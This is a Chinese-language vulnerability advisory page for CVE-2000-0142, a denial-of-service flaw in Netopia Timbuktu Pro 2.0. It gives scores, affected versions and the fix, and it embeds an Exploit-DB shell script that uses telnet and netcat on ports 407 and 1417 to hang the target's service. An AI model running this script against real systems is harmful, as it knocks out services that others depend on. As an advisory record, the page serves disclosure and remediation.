CVE-2000-0142
CVSS5.0
发布时间 :2000-02-11 00:00:00
修订时间 :2008-09-10 15:03:06
NMCOES    

[原文]The authentication protocol in Timbuktu Pro 2.0b650 allows remote attackers to cause a denial of service via connections to port 407 and 1417.


[CNNVD]Netopia Timbuktu Pro 2.0 DoS漏洞(CNNVD-200002-043)

        Timbuktu Pro 2.0b650版本的认证协议存在漏洞。远程攻击者借助端口407和1417的链接导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:netopia:timbuktu_pro:5.2.1
cpe:/a:netopia:timbuktu_pro:2.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0142
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0142
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200002-043
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

Netopia Timbuktu Pro 2.0 DoS漏洞
中危 其他
2000-02-11 00:00:00 2005-10-20 00:00:00
远程※本地  
        Timbuktu Pro 2.0b650版本的认证协议存在漏洞。远程攻击者借助端口407和1417的链接导致拒绝服务。

- 公告与补丁

        This issue has been resolved in Timbuktu Pro 2000.

- 漏洞信息 (19750)

Netopia Timbuktu Pro Remote Control 2.0/5.2.1 DoS Vulnerability (EDBID:19750)
multiple dos
2000-02-11 Verified
0 eth0
N/A [点击下载]
source: http://www.securityfocus.com/bid/984/info

Simple connections and disconnections to Timbuktu ports can hang the authentication process and halt all Timbuktu services. To return to normal functionality, the Timbuktu process will need to be killed and the Timbuktu service is required to be stopped and restarted. 

#!/bin/sh

##########################################
# eth0 is a member of b0f/buffer0verfl0w security  #
#
http://b0f.freebsd.lublin.pl
#
#########################################

# *Needs netcat in order to work......*
# Immune systems:
# Timbuktu Pro 2000
#
# Vulnerable systems:
# Timbuktu Pro 2.0b650 (Also incorrectly known as Timbukto)
#
# Exploit:
#  - Connect and disconnect to port TCP/407 and port TCP/1417 will start

# listening.
#  - Connect on port TCP/1417 (using a simple telnet client).
#  - Disconnect from TCP/1417 (with no data exchange).
#
# Workaround:
# - Kill Timbuktu process (using pslist/pskill for example).
# - Stop Timbuktu services.
# - Start them again.


echo "Exploit:"
echo " - Connect and disconnect to port TCP/407 and port TCP/1417 will
start listening."
echo " - Connect on port TCP/1417 (using a simple telnet client)."
echo " - Disconnect from TCP/1417 (with no data exchange)."
echo "Coded: eth0 from buffer0vefl0w security (b0f)"
echo "[http://b0f.freebsd.lublin.pl]"

echo "Checking if host is actually listening on port 407"
telnet $1 407 1>.timb.tmp 2>.timb.tmp &
echo "Sleeping 5 seconds..."
sleep 5
killall -9 telnet 1>/dev/null 2>/dev/null
cat .timb.tmp | grep "Connected" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 timb="1"
echo "[$1] is listening on port 407..."
echo "Exploiting:..."
nc $1 1417 1>/dev/null 2>/dev/null
sleep 3
killall -9 nc 1>/dev/null 2>/dev/null
echo "Done!!"
fi
if [ "$timb" != "1" ]; then
 echo "[$1] Is not listening on port 407 = doesn't exist..."
fi

# http://b0f.freebsd.lublin.pl #		

- 漏洞信息

11970
Motorola Timbuktu Pro Authentication Protocol Multiple Port Connection DoS
Remote / Network Access Denial of Service
Loss of Availability Upgrade
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-02-11 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 2000 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Netopia Timbuktu Pro 2.0 DoS Vulnerability
Failure to Handle Exceptional Conditions 984
Yes Yes
2000-02-11 12:00:00 2009-07-11 01:56:00
Posted to Bugtraq on February 11, 2000 by Laurent Levier <llevier@argosnet.com>.

- 受影响的程序版本

Netopia Timbuktu Pro Remote Control 5.2.1
- Apple Mac OS 8 8.6
- Apple Mac OS 8 8.5
- Apple Mac OS 8 8.1
- Apple Mac OS 9 9.0
Netopia Timbuktu Pro Remote Control 2.0
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
Netopia Timbuktu Pro 2000

- 不受影响的程序版本

Netopia Timbuktu Pro 2000

- 漏洞讨论

Simple connections and disconnections to Timbuktu ports can hang the authentication process and halt all Timbuktu services. To return to normal functionality, the Timbuktu process will need to be killed and the Timbuktu service is required to be stopped and restarted.

- 漏洞利用

Connect and disconnect on TCP port 407.
Connect and disconnect on TCP port 1417.

Note: no data needs to be transferred.

MBernheim &lt;leet@ibw.com.ni&gt; has released the following shell script exploit:

- 解决方案

This issue has been resolved in Timbuktu Pro 2000.

- 相关参考

 

 

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